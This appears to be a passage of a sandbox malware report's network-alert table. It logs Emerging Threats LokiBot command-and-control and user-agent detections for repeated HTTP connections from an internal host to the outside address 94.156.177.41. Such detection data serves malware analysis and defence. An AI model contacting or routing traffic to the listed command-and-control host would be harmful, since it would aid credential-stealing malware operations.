2024-11-20T10:57:38.278254+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58493	94.156.177.41	80	TCP
2024-11-20T10:57:39.182621+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58495	94.156.177.41	80	TCP
2024-11-20T10:57:40.084264+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58497	94.156.177.41	80	TCP
2024-11-20T10:57:41.132330+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58498	94.156.177.41	80	TCP
2024-11-20T10:57:42.026338+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58499	94.156.177.41	80	TCP
2024-11-20T10:57:42.950176+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58500	94.156.177.41	80	TCP
2024-11-20T10:57:43.869492+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58501	94.156.177.41	80	TCP
2024-11-20T10:57:44.776690+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58502	94.156.177.41	80	TCP
2024-11-20T10:57:45.698675+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58503	94.156.177.41	80	TCP
2024-11-20T10:57:46.613808+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58504	94.156.177.41	80	TCP
2024-11-20T10:57:47.563624+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58505	94.156.177.41	80	TCP
2024-11-20T10:57:48.462037+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58506	94.156.177.41	80	TCP
2024-11-20T10:57:49.351507+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58507	94.156.177.41	80	TCP
2024-11-20T10:57:50.261043+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58508	94.156.177.41	80	TCP
2024-11-20T10:57:51.211483+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58509	94.156.177.41	80	TCP
2024-11-20T10:57:52.132109+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58510	94.156.177.41	80	TCP
2024-11-20T10:57:53.044496+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58511	94.156.177.41	80	TCP
2024-11-20T10:57:53.951456+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58512	94.156.177.41	80	TCP
2024-11-20T10:57:54.873081+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58513	94.156.177.41	80	TCP
2024-11-20T10:57:55.757238+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58514	94.156.177.41	80	TCP
2024-11-20T10:57:56.797067+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58515	94.156.177.41	80	TCP
2024-11-20T10:57:57.812611+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58516	94.156.177.41	80	TCP
2024-11-20T10:57:58.732769+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58518	94.156.177.41	80	TCP
2024-11-20T10:57:59.631770+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58524	94.156.177.41	80	TCP
2024-11-20T10:58:00.539641+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58530	94.156.177.41	80	TCP
2024-11-20T10:58:01.431288+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58536	94.156.177.41	80	TCP
2024-11-20T10:58:02.329621+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58543	94.156.177.41	80	TCP
2024-11-20T10:58:03.354106+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58553	94.156.177.41	80	TCP
2024-11-20T10:58:04.399422+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58559	94.156.177.41	80	TCP
2024-11-20T10:58:05.306460+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58565	94.156.177.41	80	TCP
2024-11-20T10:58:06.207266+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58572	94.156.177.41	80	TCP
2024-11-20T10:58:07.123685+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58582	94.156.177.41	80	TCP
2024-11-20T10:58:08.022326+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58588	94.156.177.41	80	TCP
2024-11-20T10:58:08.911860+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58594	94.156.177.41	80	TCP
2024-11-20T10:58:09.796821+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58600	94.156.177.41	80	TCP
2024-11-20T10:58:10.692365+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58606	94.156.177.41	80	TCP
2024-11-20T10:58:11.593143+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58613	94.156.177.41	80	TCP
2024-11-20T10:58:12.566744+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58623	94.156.177.41	80	TCP
2024-11-20T10:58:13.483556+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58629	94.156.177.41	80	TCP
2024-11-20T10:58:14.396851+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58635	94.156.177.41	80	TCP
2024-11-20T10:58:15.281301+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58641	94.156.177.41	80	TCP
2024-11-20T10:58:16.229259+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58650	94.156.177.41	80	TCP
2024-11-20T10:58:17.138537+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58657	94.156.177.41	80	TCP
2024-11-20T10:58:18.031801+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58664	94.156.177.41	80	TCP
2024-11-20T10:58:18.916385+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58670	94.156.177.41	80	TCP
2024-11-20T10:58:19.983626+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58675	94.156.177.41	80	TCP
2024-11-20T10:58:20.890029+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58683	94.156.177.41	80	TCP
2024-11-20T10:58:21.775558+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58688	94.156.177.41	80	TCP
2024-11-20T10:58:22.695646+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58695	94.156.177.41	80	TCP
2024-11-20T10:58:23.591646+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58701	94.156.177.41	80	TCP
2024-11-20T10:58:24.491168+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58708	94.156.177.41	80	TCP
2024-11-20T10:58:25.390472+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58715	94.156.177.41	80	TCP
2024-11-20T10:58:26.277828+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58723	94.156.177.41	80	TCP
2024-11-20T10:58:27.285839+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58730	94.156.177.41	80	TCP
2024-11-20T10:58:28.175851+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58736	94.156.177.41	80	TCP
2024-11-20T10:58:29.063529+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58742	94.156.177.41	80	TCP
2024-11-20T10:58:29.952000+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58752	94.156.177.41	80	TCP
2024-11-20T10:58:30.880809+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58758	94.156.177.41	80	TCP
2024-11-20T10:58:31.753244+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58764	94.156.177.41	80	TCP
2024-11-20T10:58:32.772838+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58770	94.156.177.41	80	TCP
2024-11-20T10:58:33.662624+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58777	94.156.177.41	80	TCP
2024-11-20T10:58:34.541285+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58786	94.156.177.41	80	TCP
2024-11-20T10:58:35.492666+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58792	94.156.177.41	80	TCP
2024-11-20T10:58:36.384795+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58799	94.156.177.41	80	TCP
2024-11-20T10:58:37.276883+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58806	94.156.177.41	80	TCP
2024-11-20T10:58:38.177894+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58812	94.156.177.41	80	TCP
2024-11-20T10:58:39.075545+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58818	94.156.177.41	80	TCP
2024-11-20T10:58:39.980307+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58827	94.156.177.41	80	TCP
2024-11-20T10:58:40.880124+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58828	94.156.177.41	80	TCP
2024-11-20T10:58:41.780911+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58829	94.156.177.41	80	TCP
2024-11-20T10:58:42.700127+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58830	94.156.177.41	80	TCP
2024-11-20T10:58:43.621342+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58831	94.156.177.41	80	TCP
2024-11-20T10:58:44.665098+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58832	94.156.177.41	80	TCP
2024-11-20T10:58:45.774285+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58833	94.156.177.41	80	TCP
2024-11-20T10:58:46.706839+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58834	94.156.177.41	80	TCP
2024-11-20T10:58:47.637543+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58835	94.156.177.41	80	TCP
2024-11-20T10:58:48.568051+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58836	94.156.177.41	80	TCP
2024-11-20T10:58:49.472958+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58837	94.156.177.41	80	TCP
2024-11-20T10:58:50.369375+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58838	94.156.177.41	80	TCP
2024-11-20T10:58:51.270204+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58839	94.156.177.41	80	TCP
2024-11-20T10:58:52.210518+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58840	94.156.177.41	80	TCP
2024-11-20T10:58:53.245528+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58841	94.156.177.41	80	TCP
2024-11-20T10:58:54.194984+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58842	94.156.177.41	80	TCP
2024-11-20T10:58:55.228559+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58843	94.156.177.41	80	TCP
2024-11-20T10:58:56.119265+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58844	94.156.177.41	80	TCP
2024-11-20T10:58:57.203522+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58845	94.156.177.41	80	TCP
2024-11-20T10:58:58.145779+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58846	94.156.177.41	80	TCP
2024-11-20T10:58:59.067132+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58847	94.156.177.41	80	TCP
2024-11-20T10:59:00.142398+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58848	94.156.177.41	80	TCP
2024-11-20T10:59:01.196244+0100	2024313	1	Malware Command and Control Activity Detected	192.168.2.4	58849	94.156.177.41	80	TCP

ET MALWARE LokiBot Request for C2 Commands Detected M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T10:57:15.973269+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49737	94.156.177.41	80	TCP
2024-11-20T10:57:16.996278+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49739	94.156.177.41	80	TCP
2024-11-20T10:57:17.928297+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49740	94.156.177.41	80	TCP
2024-11-20T10:57:18.827777+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49742	94.156.177.41	80	TCP
2024-11-20T10:57:19.860877+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49746	94.156.177.41	80	TCP
2024-11-20T10:57:20.941871+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49748	94.156.177.41	80	TCP
2024-11-20T10:57:21.966321+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49750	94.156.177.41	80	TCP
2024-11-20T10:57:22.899768+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49751	94.156.177.41	80	TCP
2024-11-20T10:57:23.803116+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49752	94.156.177.41	80	TCP
2024-11-20T10:57:24.685646+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49753	94.156.177.41	80	TCP
2024-11-20T10:57:25.787244+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49754	94.156.177.41	80	TCP
2024-11-20T10:57:26.822818+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49755	94.156.177.41	80	TCP
2024-11-20T10:57:27.739805+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49756	94.156.177.41	80	TCP
2024-11-20T10:57:28.632253+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49757	94.156.177.41	80	TCP
2024-11-20T10:57:29.544680+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49758	94.156.177.41	80	TCP
2024-11-20T10:57:30.509633+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49759	94.156.177.41	80	TCP
2024-11-20T10:57:31.416743+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49760	94.156.177.41	80	TCP
2024-11-20T10:57:32.379994+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49761	94.156.177.41	80	TCP
2024-11-20T10:57:33.635907+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49762	94.156.177.41	80	TCP
2024-11-20T10:57:34.562494+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	49763	94.156.177.41	80	TCP
2024-11-20T10:57:35.466504+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58489	94.156.177.41	80	TCP
2024-11-20T10:57:36.395872+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58491	94.156.177.41	80	TCP
2024-11-20T10:57:37.284752+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58492	94.156.177.41	80	TCP
2024-11-20T10:57:38.278254+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58493	94.156.177.41	80	TCP
2024-11-20T10:57:39.182621+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58495	94.156.177.41	80	TCP
2024-11-20T10:57:40.084264+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58497	94.156.177.41	80	TCP
2024-11-20T10:57:41.132330+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58498	94.156.177.41	80	TCP
2024-11-20T10:57:42.026338+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58499	94.156.177.41	80	TCP
2024-11-20T10:57:42.950176+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58500	94.156.177.41	80	TCP
2024-11-20T10:57:43.869492+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58501	94.156.177.41	80	TCP
2024-11-20T10:57:44.776690+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58502	94.156.177.41	80	TCP
2024-11-20T10:57:45.698675+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58503	94.156.177.41	80	TCP
2024-11-20T10:57:46.613808+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58504	94.156.177.41	80	TCP
2024-11-20T10:57:47.563624+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58505	94.156.177.41	80	TCP
2024-11-20T10:57:48.462037+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58506	94.156.177.41	80	TCP
2024-11-20T10:57:49.351507+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58507	94.156.177.41	80	TCP
2024-11-20T10:57:50.261043+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58508	94.156.177.41	80	TCP
2024-11-20T10:57:51.211483+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58509	94.156.177.41	80	TCP
2024-11-20T10:57:52.132109+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58510	94.156.177.41	80	TCP
2024-11-20T10:57:53.044496+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58511	94.156.177.41	80	TCP
2024-11-20T10:57:53.951456+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58512	94.156.177.41	80	TCP
2024-11-20T10:57:54.873081+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58513	94.156.177.41	80	TCP
2024-11-20T10:57:55.757238+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58514	94.156.177.41	80	TCP
2024-11-20T10:57:56.797067+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58515	94.156.177.41	80	TCP
2024-11-20T10:57:57.812611+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58516	94.156.177.41	80	TCP
2024-11-20T10:57:58.732769+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58518	94.156.177.41	80	TCP
2024-11-20T10:57:59.631770+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58524	94.156.177.41	80	TCP
2024-11-20T10:58:00.539641+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58530	94.156.177.41	80	TCP
2024-11-20T10:58:01.431288+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58536	94.156.177.41	80	TCP
2024-11-20T10:58:02.329621+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58543	94.156.177.41	80	TCP
2024-11-20T10:58:03.354106+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58553	94.156.177.41	80	TCP
2024-11-20T10:58:04.399422+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58559	94.156.177.41	80	TCP
2024-11-20T10:58:05.306460+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58565	94.156.177.41	80	TCP
2024-11-20T10:58:06.207266+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58572	94.156.177.41	80	TCP
2024-11-20T10:58:07.123685+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58582	94.156.177.41	80	TCP
2024-11-20T10:58:08.022326+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58588	94.156.177.41	80	TCP
2024-11-20T10:58:08.911860+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58594	94.156.177.41	80	TCP
2024-11-20T10:58:09.796821+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58600	94.156.177.41	80	TCP
2024-11-20T10:58:10.692365+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58606	94.156.177.41	80	TCP
2024-11-20T10:58:11.593143+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58613	94.156.177.41	80	TCP
2024-11-20T10:58:12.566744+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58623	94.156.177.41	80	TCP
2024-11-20T10:58:13.483556+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58629	94.156.177.41	80	TCP
2024-11-20T10:58:14.396851+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58635	94.156.177.41	80	TCP
2024-11-20T10:58:15.281301+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58641	94.156.177.41	80	TCP
2024-11-20T10:58:16.229259+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58650	94.156.177.41	80	TCP
2024-11-20T10:58:17.138537+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58657	94.156.177.41	80	TCP
2024-11-20T10:58:18.031801+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58664	94.156.177.41	80	TCP
2024-11-20T10:58:18.916385+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58670	94.156.177.41	80	TCP
2024-11-20T10:58:19.983626+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58675	94.156.177.41	80	TCP
2024-11-20T10:58:20.890029+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58683	94.156.177.41	80	TCP
2024-11-20T10:58:21.775558+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58688	94.156.177.41	80	TCP
2024-11-20T10:58:22.695646+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58695	94.156.177.41	80	TCP
2024-11-20T10:58:23.591646+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58701	94.156.177.41	80	TCP
2024-11-20T10:58:24.491168+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58708	94.156.177.41	80	TCP
2024-11-20T10:58:25.390472+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58715	94.156.177.41	80	TCP
2024-11-20T10:58:26.277828+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58723	94.156.177.41	80	TCP
2024-11-20T10:58:27.285839+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58730	94.156.177.41	80	TCP
2024-11-20T10:58:28.175851+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58736	94.156.177.41	80	TCP
2024-11-20T10:58:29.063529+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58742	94.156.177.41	80	TCP
2024-11-20T10:58:29.952000+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58752	94.156.177.41	80	TCP
2024-11-20T10:58:30.880809+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58758	94.156.177.41	80	TCP
2024-11-20T10:58:31.753244+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58764	94.156.177.41	80	TCP
2024-11-20T10:58:32.772838+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58770	94.156.177.41	80	TCP
2024-11-20T10:58:33.662624+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58777	94.156.177.41	80	TCP
2024-11-20T10:58:34.541285+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58786	94.156.177.41	80	TCP
2024-11-20T10:58:35.492666+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58792	94.156.177.41	80	TCP
2024-11-20T10:58:36.384795+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58799	94.156.177.41	80	TCP
2024-11-20T10:58:37.276883+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58806	94.156.177.41	80	TCP
2024-11-20T10:58:38.177894+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58812	94.156.177.41	80	TCP
2024-11-20T10:58:39.075545+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58818	94.156.177.41	80	TCP
2024-11-20T10:58:39.980307+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58827	94.156.177.41	80	TCP
2024-11-20T10:58:40.880124+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58828	94.156.177.41	80	TCP
2024-11-20T10:58:41.780911+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58829	94.156.177.41	80	TCP
2024-11-20T10:58:42.700127+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58830	94.156.177.41	80	TCP
2024-11-20T10:58:43.621342+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58831	94.156.177.41	80	TCP
2024-11-20T10:58:44.665098+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58832	94.156.177.41	80	TCP
2024-11-20T10:58:45.774285+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58833	94.156.177.41	80	TCP
2024-11-20T10:58:46.706839+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58834	94.156.177.41	80	TCP
2024-11-20T10:58:47.637543+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58835	94.156.177.41	80	TCP
2024-11-20T10:58:48.568051+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58836	94.156.177.41	80	TCP
2024-11-20T10:58:49.472958+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58837	94.156.177.41	80	TCP
2024-11-20T10:58:50.369375+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58838	94.156.177.41	80	TCP
2024-11-20T10:58:51.270204+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58839	94.156.177.41	80	TCP
2024-11-20T10:58:52.210518+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58840	94.156.177.41	80	TCP
2024-11-20T10:58:53.245528+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58841	94.156.177.41	80	TCP
2024-11-20T10:58:54.194984+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58842	94.156.177.41	80	TCP
2024-11-20T10:58:55.228559+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58843	94.156.177.41	80	TCP
2024-11-20T10:58:56.119265+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58844	94.156.177.41	80	TCP
2024-11-20T10:58:57.203522+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58845	94.156.177.41	80	TCP
2024-11-20T10:58:58.145779+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58846	94.156.177.41	80	TCP
2024-11-20T10:58:59.067132+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58847	94.156.177.41	80	TCP
2024-11-20T10:59:00.142398+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58848	94.156.177.41	80	TCP
2024-11-20T10:59:01.196244+0100	2024318	1	Malware Command and Control Activity Detected	192.168.2.4	58849	94.156.177.41	80	TCP

ET MALWARE LokiBot User-Agent (Charon/Inferno)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T10:57:12.808002+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49734	94.156.177.41	80	TCP
2024-11-20T10:57:13.757343+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49735	94.156.177.41	80	TCP
2024-11-20T10:57:15.026901+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49737	94.156.177.41	80	TCP
2024-11-20T10:57:16.128443+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49739	94.156.177.41	80	TCP
2024-11-20T10:57:17.172162+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49740	94.156.177.41	80	TCP
2024-11-20T10:57:18.095135+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49742	94.156.177.41	80	TCP
2024-11-20T10:57:19.188469+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49746	94.156.177.41	80	TCP
2024-11-20T10:57:20.015773+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49748	94.156.177.41	80	TCP
2024-11-20T10:57:21.098851+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49750	94.156.177.41	80	TCP
2024-11-20T10:57:22.128961+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49751	94.156.177.41	80	TCP
2024-11-20T10:57:23.051375+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49752	94.156.177.41	80	TCP
2024-11-20T10:57:23.952106+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49753	94.156.177.41	80	TCP
2024-11-20T10:57:24.855713+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49754	94.156.177.41	80	TCP
2024-11-20T10:57:25.934109+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49755	94.156.177.41	80	TCP
2024-11-20T10:57:26.983156+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49756	94.156.177.41	80	TCP
2024-11-20T10:57:27.893409+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49757	94.156.177.41	80	TCP
2024-11-20T10:57:28.799350+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49758	94.156.177.41	80	TCP
2024-11-20T10:57:29.726326+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49759	94.156.177.41	80	TCP
2024-11-20T10:57:30.667112+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49760	94.156.177.41	80	TCP
2024-11-20T10:57:31.597321+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49761	94.156.177.41	80	TCP
2024-11-20T10:57:32.534728+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49762	94.156.177.41	80	TCP
2024-11-20T10:57:33.800604+0100	2021641	1	A Network Trojan was detected	192.168.2.4	49763	94.156.177.41	80	TCP
2024-11-20T10:57:34.722224+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58489	94.156.177.41	80	TCP
2024-11-20T10:57:35.630460+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58491	94.156.177.41	80	TCP
2024-11-20T10:57:36.546091+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58492	94.156.177.41	80	TCP
2024-11-20T10:57:37.558372+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58493	94.156.177.41	80	TCP
2024-11-20T10:57:38.444140+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58495	94.156.177.41	80	TCP
